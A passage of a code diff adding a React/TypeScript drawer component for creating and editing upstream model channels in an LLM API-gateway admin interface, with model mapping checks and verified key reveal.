+  SelectValue,
+} from '@/components/ui/select'
+import { Separator } from '@/components/ui/separator'
+import {
+  Sheet,
+  SheetClose,
+  SheetContent,
+  SheetDescription,
+  SheetFooter,
+  SheetHeader,
+  SheetTitle,
+} from '@/components/ui/sheet'
+import { Skeleton } from '@/components/ui/skeleton'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+import { JsonEditor } from '@/components/json-editor'
+import { MultiSelect } from '@/components/multi-select'
+import {
+  SecureVerificationDialog,
+  useSecureVerification,
+} from '@/features/auth/secure-verification'
+import {
+  createChannel,
+  fetchModels,
+  getAllModels,
+  getChannel,
+  getChannelKey,
+  getGroups,
+  getPrefillGroups,
+  refreshCodexCredential,
+  updateChannel,
+} from '../../api'
+import {
+  ADD_MODE_OPTIONS,
+  CHANNEL_TYPE_OPTIONS,
+  CHANNEL_TYPE_WARNINGS,
+  ERROR_MESSAGES,
+  FIELD_DESCRIPTIONS,
+  FIELD_PLACEHOLDERS,
+  MODEL_FETCHABLE_TYPES,
+  SUCCESS_MESSAGES,
+} from '../../constants'
+import {
+  CHANNEL_FORM_DEFAULT_VALUES,
+  channelFormSchema,
+  channelsQueryKeys,
+  transformChannelToFormDefaults,
+  transformFormDataToCreatePayload,
+  transformFormDataToUpdatePayload,
+  type ChannelFormValues,
+  deduplicateKeys,
+  getChannelTypeIcon,
+  getKeyPromptForType,
+  parseModelsString,
+  formatModelsArray,
+  extractRedirectModels,
+  extractMappingSourceModels,
+  hasModelConfigChanged,
+  findMissingModelsInMapping,
+  validateModelMappingJson,
+} from '../../lib'
+import {
+  collectInvalidStatusCodeEntries,
+  collectNewDisallowedStatusCodeRedirects,
+} from '../../lib/status-code-risk-guard'
+import type { Channel } from '../../types'
+import { useChannels } from '../channels-provider'
+import { CodexOAuthDialog } from '../dialogs/codex-oauth-dialog'
+import { FetchModelsDialog } from '../dialogs/fetch-models-dialog'
+import {
+  MissingModelsConfirmationDialog,
+  type MissingModelsAction,
+} from '../dialogs/missing-models-confirmation-dialog'
+import { StatusCodeRiskDialog } from '../dialogs/status-code-risk-dialog'
+import { ModelMappingEditor } from '../model-mapping-editor'
+
+type ChannelMutateDrawerProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  currentRow?: Channel | null
+}
+
+type ModelMappingGuardrail = {
+  invalidJson: boolean
+  entries: Array<{ source: string; target: string }>
+  missingSourceModels: string[]
+  exposedTargetModels: string[]
+}
+
+function isRecord(value: unknown): value is Record<string, unknown> {
+  return typeof value === 'object' && value !== null
+}
+
+function getErrorMessage(error: unknown): string | undefined {
+  if (error instanceof Error && typeof error.message === 'string') {
+    return error.message
+  }
+
+  if (!isRecord(error)) return undefined
+
+  const response = error.response
+  if (isRecord(response)) {
+    const data = response.data
+    if (isRecord(data)) {
+      const message = data.message
+      if (typeof message === 'string') return message
+    }
+  }
+
+  const message = error.message
+  if (typeof message === 'string') return message
+  return undefined
+}
+
+// Helper functions
+const createEmptyModelMappingGuardrail = (): ModelMappingGuardrail => ({
+  invalidJson: false,
+  entries: [],
+  missingSourceModels: [],
+  exposedTargetModels: [],
+})
+
+const formatModelNames = (models: string[]): string =>
+  models.map((model) => `"${model}"`).join(', ')
+
+const MODEL_MAPPING_PREVIEW_FALLBACK: Array<{
+  source: string
+  target: string
+}> = [{ source: 'client-model', target: 'upstream-model' }]
+
+export function ChannelMutateDrawer({
+  open,
+  onOpenChange,
+  currentRow,
+}: ChannelMutateDrawerProps) {
+  const { t } = useTranslation()
+  const queryClient = useQueryClient()
+  const { setOpen } = useChannels()
+  const [isSubmitting, setIsSubmitting] = useState(false)
+  const [customModel, setCustomModel] = useState('')
+  const [isFetchingModels, setIsFetchingModels] = useState(false)
+  const [fetchModelsDialogOpen, setFetchModelsDialogOpen] = useState(false)
+  const [channelKey, setChannelKey] = useState<string | null>(null)
+  const [isChannelKeyLoading, setIsChannelKeyLoading] = useState(false)
+  const [codexOAuthDialogOpen, setCodexOAuthDialogOpen] = useState(false)
+  const [isCodexCredentialRefreshing, setIsCodexCredentialRefreshing] =
+    useState(false)
+  const initialModelsRef = useRef<string[]>([])
+  const initialModelMappingRef = useRef<string>('')
+  const initialStatusCodeMappingRef = useRef<string>('')
+  const [statusCodeRiskOpen, setStatusCodeRiskOpen] = useState(false)
+  const [statusCodeRiskDetailItems, setStatusCodeRiskDetailItems] = useState<
+    string[]
+  >([])
+  const statusCodeRiskResolveRef = useRef<
+    ((confirmed: boolean) => void) | null
+  >(null)
+  const [missingModelsDialogOpen, setMissingModelsDialogOpen] = useState(false)
+  const [missingModelsList, setMissingModelsList] = useState<string[]>([])
+  const missingModelsResolveRef = useRef<
+    ((action: MissingModelsAction) => void) | null
+  >(null)
+
+  const isEditing = Boolean(currentRow)
+  const channelId = currentRow?.id ?? null
+
+  // Fetch channel details if editing
+  const { data: channelData } = useQuery({
+    queryKey: channelsQueryKeys.detail(currentRow?.id || 0),
+    queryFn: () => getChannel(currentRow!.id),
+    enabled: isEditing && Boolean(currentRow?.id),
+  })
+
+  // Fetch available groups
+  const { data: groupsData, isLoading: isLoadingGroups } = useQuery({
+    queryKey: ['groups'],
+    queryFn: getGroups,
+  })
+
+  // Fetch all available models
+  const { data: allModelsData } = useQuery({
+    queryKey: ['channel_models'],
+    queryFn: getAllModels,
+  })
+
+  // Fetch prefill model groups
+  const { data: prefillGroupsData } = useQuery({
+    queryKey: ['prefill_groups', 'model'],
+    queryFn: () => getPrefillGroups('model'),
+  })
+
+  const { copyToClipboard } = useCopyToClipboard()
+
+  const {
+    open: verificationOpen,
+    methods: verificationMethods,
+    state: verificationState,
+    executeVerification,
+    withVerification,
+    cancel: cancelVerification,
+    setCode: setVerificationCode,
+    switchMethod: switchVerificationMethod,
+  } = useSecureVerification()
+
+  useEffect(() => {
+    if (!open) {
+      setChannelKey(null)
+      setIsChannelKeyLoading(false)
+    } else if (channelId) {
+      setChannelKey(null)
+    }
+  }, [open, channelId])
+
+  // Check if this is a multi-key channel
+  const isMultiKeyChannel =
+    isEditing && channelData?.data?.channel_info?.is_multi_key === true
+
+  // Form setup
+  const form = useForm<ChannelFormValues>({
+    resolver: zodResolver(channelFormSchema),
+    defaultValues: CHANNEL_FORM_DEFAULT_VALUES,
+  })
+
+  // Watch form values for conditional rendering
+  const multiKeyMode = form.watch('multi_key_mode')
+  const multiKeyType = form.watch('multi_key_type')
+  const keyMode = form.watch('key_mode')
+  const currentGroups = form.watch('group')
+  const currentType = form.watch('type')
+  const currentBaseUrl = form.watch('base_url')
+  const currentModels = form.watch('models')
+  const currentModelMapping = form.watch('model_mapping')
+  const awsKeyType = form.watch('aws_key_type')
+  const {
+    unlocked: doubaoApiEditUnlocked,
+    handleClick: handleApiConfigSecretClick,
+    reset: resetDoubaoApiUnlock,
+  } = useHiddenClickUnlock({
+    requiredClicks: 10,
+    disabled: currentType !== 45,
+    onUnlock: () => {
+      toast.info(t('Doubao custom API address editing unlocked'))
+    },
+  })
+
+  useEffect(() => {
+    if (!open) {
+      resetDoubaoApiUnlock()
+    }
+  }, [open, resetDoubaoApiUnlock])
+
+  // Helper computed values
+  const isBatchMode =
+    multiKeyMode === 'batch' || multiKeyMode === 'multi_to_single'
+
+  // Get all models list
+  const allModelsList = useMemo(
+    () => allModelsData?.data?.map((model) => model.id).filter(Boolean) || [],
+    [allModelsData]
+  )
+
+  // Get basic models for the current channel type
+  const basicModels = useMemo(() => {
+    if (!allModelsList.length) return []
+    // Filter models based on common patterns for specific types
+    if (currentType === 1) {
+      return allModelsList.filter(
+        (model) => model.startsWith('gpt-') || model.startsWith('text-')
+      )
+    }
+    return allModelsList
+  }, [allModelsList, currentType])
+
+  // Get prefill groups
+  const prefillGroups = useMemo(
+    () => prefillGroupsData?.data || [],
+    [prefillGroupsData]
+  )
+
+  // Transform groups to multi-select options
+  const groupOptions = useMemo(() => {
+    if (!groupsData?.data) return []
+    const allGroups = new Set([...groupsData.data, ...(currentGroups || [])])
+    return Array.from(allGroups).map((group) => ({
+      value: group,
+      label: group,
+    }))
+  }, [groupsData, currentGroups])
+
+  // Parse current models as array
+  const currentModelsArray = useMemo(
+    () => parseModelsString(currentModels),
+    [currentModels]
+  )
+
+  // Extract redirect models from model_mapping (target values)
+  const redirectModelList = useMemo(
+    () => extractRedirectModels(currentModelMapping || ''),
+    [currentModelMapping]
+  )
+
+  // Extract source keys from model_mapping (models being remapped FROM)
+  const redirectModelKeyList = useMemo(
+    () => extractMappingSourceModels(currentModelMapping || ''),
+    [currentModelMapping]
+  )
+
+  // Transform models to multi-select options
+  const modelOptions = useMemo(() => {
+    const allModels = new Set([...allModelsList, ...currentModelsArray])
+    return Array.from(allModels).map((model) => ({
+      value: model,
+      label: model,
+    }))
+  }, [allModelsList, currentModelsArray])
+
+  const modelMappingGuardrail = useMemo<ModelMappingGuardrail>(() => {
+    if (!currentModelMapping?.trim()) {
+      return createEmptyModelMappingGuardrail()
+    }
+
+    try {
+      const parsed = JSON.parse(currentModelMapping)
+      if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) {
+        return { ...createEmptyModelMappingGuardrail(), invalidJson: true }
+      }
+
+      const entries = Object.entries(parsed).reduce<
+        Array<{ source: string; target: string }>
+      >((acc, [rawSource, rawTarget]) => {
+        const source = String(rawSource).trim()
+        const target = String(rawTarget ?? '').trim()
+
+        if (!source || !target) {
+          return acc
+        }
+
+        acc.push({ source, target })
+        return acc
+      }, [])
+
+      const missingSourceModels = Array.from(
+        new Set(
+          entries
+            .filter(
+              (entry) =>
+                Boolean(entry.source) &&
+                !currentModelsArray.includes(entry.source)
+            )
+            .map((entry) => entry.source)
+        )
+      )
+
+      const exposedTargetModels = Array.from(
+        new Set(
+          entries
+            .filter(
+              (entry) =>
+                Boolean(entry.target) &&
+                currentModelsArray.includes(entry.target)
+            )
+            .map((entry) => entry.target)
+        )
+      )
+
+      return {
+        invalidJson: false,
+        entries,
+        missingSourceModels,
+        exposedTargetModels,
+      }
+    } catch {
+      return { ...createEmptyModelMappingGuardrail(), invalidJson: true }
+    }
+  }, [currentModelMapping, currentModelsArray])
+
+  const mappingPreviewPairs =
+    modelMappingGuardrail.entries.length > 0
+      ? modelMappingGuardrail.entries.slice(0, 3)
+      : MODEL_MAPPING_PREVIEW_FALLBACK
+  const remainingMappingCount =
+    modelMappingGuardrail.entries.length > 3
+      ? modelMappingGuardrail.entries.length - 3
+      : 0
+
+  // Load channel data into form when editing
+  useEffect(() => {
+    if (isEditing && channelData?.data) {
+      const defaults = transformChannelToFormDefaults(channelData.data)
+      form.reset(defaults)
+      // Store initial values for comparison
+      initialModelsRef.current = parseModelsString(
+        channelData.data.models || ''
+      )
+      initialModelMappingRef.current = channelData.data.model_mapping || ''
+      initialStatusCodeMappingRef.current =
+        channelData.data.status_code_mapping || ''
+    } else if (!isEditing) {
+      form.reset(CHANNEL_FORM_DEFAULT_VALUES)
+      initialModelsRef.current = []
+      initialModelMappingRef.current = ''
+      initialStatusCodeMappingRef.current = ''
+    }
+  }, [isEditing, channelData, form])
+
+  // Handle type change - set default values for specific types
+  useEffect(() => {
+    if (isEditing) return // Don't auto-set defaults when editing
+
+    // Type 45 (VolcEngine) - set default base_url
+    if (currentType === 45) {
+      const currentBaseUrlValue = form.getValues('base_url')
+      if (!currentBaseUrlValue || currentBaseUrlValue === '') {
+        form.setValue('base_url', 'https://ark.cn-beijing.volces.com')
+      }
+    }
+
+    // Type 18 (Xunfei) - set default other (version)
+    if (currentType === 18) {
+      const currentOther = form.getValues('other')
+      if (!currentOther || currentOther === '') {
+        form.setValue('other', 'v2.1')
+      }
+    }
+  }, [currentType, isEditing, form])
+
+  // Validate base_url - warn if it ends with /v1
+  useEffect(() => {
+    if (!currentBaseUrl || !currentBaseUrl.endsWith('/v1')) return
+
+    // Show warning toast
+    const timer = setTimeout(() => {
+      toast.warning(
+        t(
+          'Warning: Base URL should not end with /v1. New API will handle it automatically. This may cause request failures.'
+        ),
+        { duration: 5000 }
+      )
+    }, 500)
+
+    return () => clearTimeout(timer)
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [currentBaseUrl])
+
+  // Handle key deduplication
+  const handleDeduplicateKeys = () => {
+    const currentKey = form.getValues('key')
+    if (!currentKey || currentKey.trim() === '') {
+      toast.info(t('Please enter keys first'))
+      return
+    }
+
+    const result = deduplicateKeys(currentKey)
+
+    if (result.removedCount === 0) {
+      toast.info(t('No duplicate keys found'))
+    } else {
+      form.setValue('key', result.deduplicatedText)
+      toast.success(
+        t(
+          'Removed {{removed}} duplicate key(s). Before: {{before}}, After: {{after}}',
+          {
+            removed: result.removedCount,
+            before: result.beforeCount,
+            after: result.afterCount,
+          }
+        )
+      )
+    }
+  }
+
+  const fetchChannelKey = useCallback(async () => {
+    if (!channelId) {
+      throw new Error('Channel is not selected')
+    }
+
+    setIsChannelKeyLoading(true)
+    try {
+      const res = await getChannelKey(channelId)
+      if (!res.success) {
+        throw new Error(res.message || 'Failed to fetch channel key')
+      }
+
+      const keyValue = res.data?.key ?? ''
+      setChannelKey(keyValue)
+      toast.success(t('Channel key unlocked'))
+      return res
+    } finally {
+      setIsChannelKeyLoading(false)
+    }
+  }, [channelId, t])
+
+  const handleRevealKey = useCallback(async () => {
+    if (!channelId) return
+
+    try {
+      await withVerification(fetchChannelKey, {
+        preferredMethod: 'passkey',
+        title: 'Verify to view channel key',
+        description:
+          'Use Passkey or 2FA to confirm your identity before revealing this channel key.',
+      })
+    } catch (error) {
+      if (error instanceof Error) {
+        toast.error(error.message)
+      }
+    }
+  }, [channelId, withVerification, fetchChannelKey])
+
+  const handleRefreshCodexCredential = useCallback(async () => {
+    if (!channelId) return
+    setIsCodexCredentialRefreshing(true)
+    try {
+      const res = await refreshCodexCredential(channelId)
+      if (!res.success) {
+        throw new Error(res.message || 'Failed to refresh credential')
+      }
+      toast.success(t('Credential refreshed'))
+      queryClient.invalidateQueries({
+        queryKey: channelsQueryKeys.detail(channelId),
+      })
+    } catch (error) {
+      toast.error(error instanceof Error ? error.message : t('Refresh failed'))
+    } finally {
+      setIsCodexCredentialRefreshing(false)
+    }
+  }, [channelId, queryClient, t])
+
+  // Unified function to update models
+  const updateModels = useCallback(
+    (newModels: string[], merge: boolean = false) => {
+      const finalModels = merge
+        ? formatModelsArray([...currentModelsArray, ...newModels])
+        : formatModelsArray(newModels)
+      form.setValue('models', finalModels)
+      return newModels.length
+    },
+    [currentModelsArray, form]
+  )
+
+  // Handle fetching models from upstream
+  const handleFetchModels = useCallback(async () => {
+    const type = form.getValues('type')
+
+    if (!MODEL_FETCHABLE_TYPES.has(type)) {
+      toast.error(t('This channel type does not support fetching models'))
+      return
+    }
+
+    // For editing mode, open FetchModelsDialog to let user select
+    if (isEditing && currentRow) {
+      setFetchModelsDialogOpen(true)
+      return
+    }
+
+    // For creation mode, fetch and fill all models
+    const key = form.getValues('key')
+    if (!key?.trim()) {
+      toast.error(t('Please enter API key first'))
+      return
+    }
+
+    setIsFetchingModels(true)
+    try {
+      const response = await fetchModels({
+        type,
+        key,
+        base_url: form.getValues('base_url') || '',
+      })
+
+      if (response.success && response.data) {
+        updateModels(response.data, true)
+        toast.success(
+          t('Fetched {{count}} model(s) from upstream', {
+            count: response.data.length,
+          })
+        )
+      } else {
+        toast.error(t('No models fetched from upstream'))
+      }
+    } catch (error: unknown) {
+      toast.error(getErrorMessage(error) || t('Failed to fetch models'))
+    } finally {
+      setIsFetchingModels(false)
+    }
+  }, [isEditing, currentRow, form, t, updateModels])
+
+  // Handle adding custom models
+  const handleAddCustomModels = useCallback(() => {
+    if (!customModel?.trim()) return
+
+    const modelArray = parseModelsString(customModel)
+    const count = updateModels(modelArray, true)
+    setCustomModel('')
+    toast.success(t('Added {{count}} custom model(s)', { count }))
+  }, [customModel, t, updateModels])
+
+  // Handle model operations
+  const handleFillRelatedModels = useCallback(() => {
+    if (!basicModels.length) {
+      toast.info(t('No related models available for this channel type'))
+      return
+    }
+    updateModels(basicModels)
+    toast.success(
+      t('Filled {{count}} related model(s)', { count: basicModels.length })
+    )
+  }, [basicModels, updateModels, t])
+
+  const handleFillAllModels = useCallback(() => {
+    if (!allModelsList.length) {
+      toast.info(t('No models available'))
+      return
+    }
+    updateModels(allModelsList)
+    toast.success(
+      t('Filled {{count}} model(s)', { count: allModelsList.length })
+    )
+  }, [allModelsList, updateModels, t])
+
+  const handleClearModels = useCallback(() => {
+    form.setValue('models', '')
+    toast.success(t('Cleared all models'))
+  }, [form, t])
+
+  const handleCopyModels = useCallback(async () => {
+    const models = form.getValues('models')
+    if (!models?.trim()) {
+      toast.info(t('No models to copy'))
+      return
+    }
+    await copyToClipboard(models)
+  }, [form, copyToClipboard, t])
+
+  // Handle adding prefill group models
+  const handleAddPrefillGroup = useCallback(
+    (group: { id: number; name: string; items: string | string[] }) => {
+      try {
+        const items = Array.isArray(group.items)
+          ? group.items
+          : JSON.parse(group.items)
+
+        if (!Array.isArray(items)) {
+          throw new Error('Invalid items format')
+        }
+
+        const count = updateModels(items, true)
+        toast.success(
+          t('Added {{count}} models from "{{name}}"', {
+            count,
+            name: group.name,
+          })
+        )
+      } catch {
+        toast.error(t('Failed to parse group items'))
+      }
+    },
+    [updateModels, t]
+  )
+
+  // Handle model selection change from MultiSelect
+  const handleModelsChange = useCallback(
+    (selected: string[]) => {
+      form.setValue('models', selected.join(','))
+    },
+    [form]
+  )
+
+  // Handle successful submission
+  const handleSuccess = useCallback(() => {
+    queryClient.invalidateQueries({ queryKey: channelsQueryKeys.lists() })
+    onOpenChange(false)
+    setOpen(null)
+  }, [queryClient, onOpenChange, setOpen])
+
+  // Show missing models confirmation dialog
+  const confirmMissingModelMappings = useCallback(
+    (missingModels: string[]): Promise<MissingModelsAction> => {
+      return new Promise((resolve) => {
+        setMissingModelsList(missingModels)
+        setMissingModelsDialogOpen(true)
+        missingModelsResolveRef.current = resolve
+      })
+    },
+    []
+  )
+
+  // Handle missing models dialog action
+  const handleMissingModelsAction = useCallback(
+    (action: MissingModelsAction) => {
+      setMissingModelsDialogOpen(false)
+      if (missingModelsResolveRef.current) {
+        missingModelsResolveRef.current(action)
+        missingModelsResolveRef.current = null
+      }
+    },
+    []
+  )
+
+  const confirmStatusCodeRisk = useCallback(
+    (detailItems: string[]): Promise<boolean> =>
+      new Promise((resolve) => {
+        statusCodeRiskResolveRef.current = resolve
+        setStatusCodeRiskDetailItems(detailItems)
+        setStatusCodeRiskOpen(true)
+      }),
+    []
+  )
+
+  const handleStatusCodeRiskAction = useCallback((confirmed: boolean) => {
+    setStatusCodeRiskOpen(false)
+    setStatusCodeRiskDetailItems([])
+    if (statusCodeRiskResolveRef.current) {
+      statusCodeRiskResolveRef.current(confirmed)
+      statusCodeRiskResolveRef.current = null
+    }
+  }, [])
+
+  useEffect(() => {
+    return () => {
+      if (statusCodeRiskResolveRef.current) {
+        statusCodeRiskResolveRef.current(false)
+        statusCodeRiskResolveRef.current = null
+      }
+    }
+  }, [])
+
+  // Submit handler
+  const onSubmit = useCallback(
+    async (data: ChannelFormValues) => {
+      // Validate key is required when creating
+      if (!isEditing && !data.key?.trim()) {
+        form.setError('key', {
+          type: 'manual',
+          message: 'API key is required',
+        })
+        return
+      }
+
+      // Validate status_code_mapping entries
+      if (data.status_code_mapping?.trim()) {
+        const invalidEntries = collectInvalidStatusCodeEntries(
+          data.status_code_mapping
+        )
+        if (invalidEntries.length > 0) {
+          toast.error(
+            t('Invalid status code mapping entries: {{entries}}', {
+              entries: invalidEntries.join(', '),
+            })
+          )
+          return
+        }
+
+        const riskyRedirects = collectNewDisallowedStatusCodeRedirects(
+          initialStatusCodeMappingRef.current,
+          data.status_code_mapping
+        )
+        if (riskyRedirects.length > 0) {
+          const confirmed = await confirmStatusCodeRisk(riskyRedirects)
+          if (!confirmed) return
+        }
+      }
+
+      // Validate model_mapping JSON format
+      const hasModelMapping =
+        typeof data.model_mapping === 'string' &&
+        data.model_mapping.trim() !== ''
+
+      if (hasModelMapping) {
+        const validation = validateModelMappingJson(data.model_mapping!)
+        if (!validation.valid) {
+          toast.error(t(validation.error || 'Invalid model mapping'))
+          return
+        }
+      }
+
+      // Normalize models array
+      const normalizedModels = parseModelsString(data.models || '')
+
+      // Check for missing models in model_mapping
+      if (hasModelMapping) {
+        const missingModels = findMissingModelsInMapping(
+          data.model_mapping!,
+          normalizedModels
+        )
+
+        const shouldPromptMissing =
+          missingModels.length > 0 &&
+          hasModelConfigChanged(
+            normalizedModels,
+            data.model_mapping || '',
+            initialModelsRef.current,
+            initialModelMappingRef.current
+          )
+
+        if (shouldPromptMissing) {
+          const confirmAction = await confirmMissingModelMappings(missingModels)
+          if (confirmAction === 'cancel') {
+            return
+          }
+          if (confirmAction === 'add') {
+            const updatedModels = Array.from(
+              new Set([...normalizedModels, ...missingModels])
+            )
+            data.models = formatModelsArray(updatedModels)
+            form.setValue('models', data.models)
+          }
+        }
+      }
+
+      setIsSubmitting(true)
+      try {
+        if (isEditing && currentRow) {
+          // Update existing channel
+          const payload = transformFormDataToUpdatePayload(data, currentRow.id)
+          const payloadWithKeyMode =
+            isMultiKeyChannel && data.key_mode
+              ? {
+                  ...payload,
+                  key_mode: data.key_mode,
+                }
+              : payload
+
+          const response = await updateChannel(
+            currentRow.id,
+            payloadWithKeyMode
+          )
+          if (response.success) {
+            toast.success(t(SUCCESS_MESSAGES.UPDATED))
+            handleSuccess()
+          }
+        } else {
+          // Create new channel(s)
+          const payload = transformFormDataToCreatePayload(data)
+          const response = await createChannel(payload)
+          if (response.success) {
+            toast.success(t(SUCCESS_MESSAGES.CREATED))
+            handleSuccess()
+          }
+        }
+      } catch (error: unknown) {
+        toast.error(getErrorMessage(error) || t(ERROR_MESSAGES.CREATE_FAILED))
+      } finally {
+        setIsSubmitting(false)
+      }
+    },
+    [
+      isEditing,
+      currentRow,
+      isMultiKeyChannel,
+      form,
+      handleSuccess,
+      confirmMissingModelMappings,
+      confirmStatusCodeRisk,
+      t,
+    ]
+  )
+
+  // Handle drawer close
+  const handleOpenChange = useCallback(
+    (v: boolean) => {
+      onOpenChange(v)
+      if (!v) {
+        form.reset(CHANNEL_FORM_DEFAULT_VALUES)
+      }
+    },
+    [onOpenChange, form]
+  )
+
+  return (
+    <>
+      <Sheet open={open} onOpenChange={handleOpenChange}>
+        <SheetContent className='flex w-full flex-col sm:max-w-2xl'>
+          <SheetHeader className='text-start'>
+            <SheetTitle>
+              {isEditing ? t('Edit Channel') : t('Create Channel')}
+            </SheetTitle>
+            <SheetDescription>
+              {isEditing
+                ? t(
+                    "Update channel configuration and click save when you're done."
+                  )
+                : t(
+                    'Add a new channel by providing the necessary information.'
+                  )}
+            </SheetDescription>
+          </SheetHeader>
+
+          <Form {...form}>
+            <form
+              id='channel-form'
+              onSubmit={form.handleSubmit(onSubmit)}
+              className='flex-1 space-y-6 overflow-y-auto px-4'
+            >
+              {/* Basic Info Section */}
+              <div className='space-y-4'>
+                <h3 className='text-sm font-semibold'>
+                  {t('Basic Information')}
+                </h3>
+
+                <FormField
+                  control={form.control}
+                  name='name'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Name *')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          placeholder={t(FIELD_PLACEHOLDERS.NAME)}
+                          {...field}
+                        />
+                      </FormControl>
+                      <FormDescription>
+                        {t(FIELD_DESCRIPTIONS.NAME)}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='type'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Type *')}</FormLabel>
+                      <Select
+                        onValueChange={(value) => field.onChange(Number(value))}
+                        value={String(field.value)}
+                      >
+                        <FormControl>
+                          <SelectTrigger>
+                            <SelectValue
+                              placeholder={t('Select channel type')}
+                            />
+                          </SelectTrigger>
+                        </FormControl>
+                        <SelectContent>
+                          {CHANNEL_TYPE_OPTIONS.map((option) => (
+                            <SelectItem
+                              key={option.value}
+                              value={String(option.value)}
+                            >
+                              <div className='flex items-center gap-2'>
+                                {getLobeIcon(
+                                  `${getChannelTypeIcon(option.value)}.Color`,
+                                  16
+                                )}
+                                <span>{t(option.label)}</span>
+                              </div>
+                            </SelectItem>
+                          ))}
+                        </SelectContent>
+                      </Select>
+                      <FormDescription>
+                        {t(FIELD_DESCRIPTIONS.TYPE)}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='status'
+                  render={({ field }) => (
+                    <FormItem className='flex items-center justify-between rounded-lg border p-4'>
+                      <div className='space-y-0.5'>
+                        <FormLabel className='text-base'>
+                          {t('Enabled')}
+                        </FormLabel>
+                        <FormDescription>
+                          {t('Enable or disable this channel')}
+                        </FormDescription>
+                      </div>
+                      <FormControl>
+                        <Switch
+                          checked={field.value === 1}
+                          onCheckedChange={(checked) =>
+                            field.onChange(checked ? 1 : 2)
+                          }
+                        />
+                      </FormControl>
+                    </FormItem>
+                  )}
+                />
+
+                {/* OpenAI Organization - only for type 1 */}
+                {currentType === 1 && (
+                  <FormField
+                    control={form.control}
+                    name='openai_organization'
+                    render={({ field }) => (
+                      <FormItem>
+                        <FormLabel>{t('OpenAI Organization')}</FormLabel>
+                        <FormControl>
+                          <Input placeholder={t('org-...')} {...field} />
+                        </FormControl>
+                        <FormDescription>
+                          {t(FIELD_DESCRIPTIONS.OPENAI_ORG)}
+                        </FormDescription>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                  />
+                )}
+              </div>
+
+              <Separator />
+
+              {/* Type-Specific Settings Section - Moved up for better UX */}
+              <div className='space-y-4'>
+                <h3 className='text-sm font-semibold'>
+                  {t('Type-Specific Settings')}
+                </h3>
+
+                {/* Show warning if applicable */}
+                {CHANNEL_TYPE_WARNINGS[currentType] && (
+                  <Alert>
+                    <AlertDescription>
+                      {t(CHANNEL_TYPE_WARNINGS[currentType])}
+                    </AlertDescription>
+                  </Alert>
+                )}
+
+                {/* Azure (type 3) */}
+                {currentType === 3 && (
+                  <>
+                    <FormField
+                      control={form.control}
+                      name='base_url'
+                      render={({ field }) => (
+                        <FormItem>
+                          <FormLabel>{t('AZURE_OPENAI_ENDPOINT *')}</FormLabel>
+                          <FormControl>
+                            <Input
+                              placeholder={t(
+                                'e.g., https://docs-test-001.openai.azure.com'
+                              )}
+                              {...field}
+                            />
+                          </FormControl>
+                          <FormDescription>
+                            {t('Your Azure OpenAI endpoint URL')}
+                          </FormDescription>
+                          <FormMessage />
+                        </FormItem>
+                      )}
+                    />
+                    <FormField
+                      control={form.control}
+                      name='other'
+                      render={({ field }) => (
+                        <FormItem>
+                          <FormLabel>{t('Default API Version *')}</FormLabel>
+                          <FormControl>
+                            <Input
+                              placeholder={t('e.g., 2025-04-01-preview')}
+                              {...field}
+                            />
+                          </FormControl>
+                          <FormDescription>
+                            {t('Default API version for this channel')}
+                          </FormDescription>
+                          <FormMessage />
+                        </FormItem>
+                      )}
+                    />
+                    <FormField
+                      control={form.control}
+                      name='azure_responses_version'
+                      render={({ field }) => (
+                        <FormItem>
+                          <FormLabel>{t('Responses API Version')}</FormLabel>
+                          <FormControl>
+                            <Input
+                              placeholder={t('e.g., preview')}
+                              {...field}
+                            />
+                          </FormControl>
+                          <FormDescription>
+                            {t(
+                              'Default Responses API version, if empty, will use the API version above'
+                            )}
+                          </FormDescription>
+                          <FormMessage />
+                        </FormItem>
+                      )}
+                    />
+                  </>
+                )}
+
+                {/* Custom (type 8) */}
+                {currentType === 8 && (
+                  <FormField
+                    control={form.control}
+                    name='base_url'
+                    render={({ field }) => (
+                      <FormItem>
+                        <FormLabel>
+                          {t('Full Base URL (supports')} {'{'}
+                          {t('model')}
+                          {'}'} {t('variable) *')}
+                        </FormLabel>
+                        <FormControl>
+                          <Input
+                            placeholder={t(
+                              'e.g., https://api.openai.com/v1/chat/completions'
+                            )}
+                            {...field}
+                          />
+                        </FormControl>
+                        <FormDescription>
+                          {t('Enter the complete URL, supports')} {'{'}
+                          {t('model')}
+                          {'}'} {t('variable')}
+                        </FormDescription>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                  />
+                )}
+
+                {/* Xunfei/Spark (type 18) */}
+                {currentType === 18 && (
+                  <FormField
+                    control={form.control}
+                    name='other'
+                    render={({ field }) => (
+                      <FormItem>
+                        <FormLabel>{t('Model Version *')}</FormLabel>
+                        <FormControl>
+                          <Input placeholder={t('e.g., v2.1')} {...field} />
+                        </FormControl>
+                        <FormDescription>
+                          {t(
+                            'Spark model version, e.g., v2.1 (version number in API URL)'
+                          )}
+                        </FormDescription>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                  />
+                )}
+
+                {/* OpenRouter (type 20) */}
+                {currentType === 20 && (
+                  <FormField
+                    control={form.control}
+                    name='is_enterprise_account'
+                    render={({ field }) => (
+                      <FormItem className='flex items-center justify-between rounded-lg border p-4'>
+                        <div className='space-y-0.5'>
+                          <FormLabel className='text-base'>
+                            {t('Enterprise Account')}
+                          </FormLabel>
+                          <FormDescription>
+                            {t(
+                              'Enable if this is an OpenRouter enterprise account with special response format'
+                            )}
+                          </FormDescription>
+                        </div>
+                        <FormControl>
+                          <Switch
+                            checked={field.value}
+                            onCheckedChange={field.onChange}
+                          />
+                        </FormControl>
+                      </FormItem>
+                    )}
+                  />
+                )}
+
+                {/* AWS (type 33) */}
+                {currentType === 33 && (
+                  <FormField
+                    control={form.control}
+                    name='aws_key_type'
+                    render={({ field }) => (
+                      <FormItem>
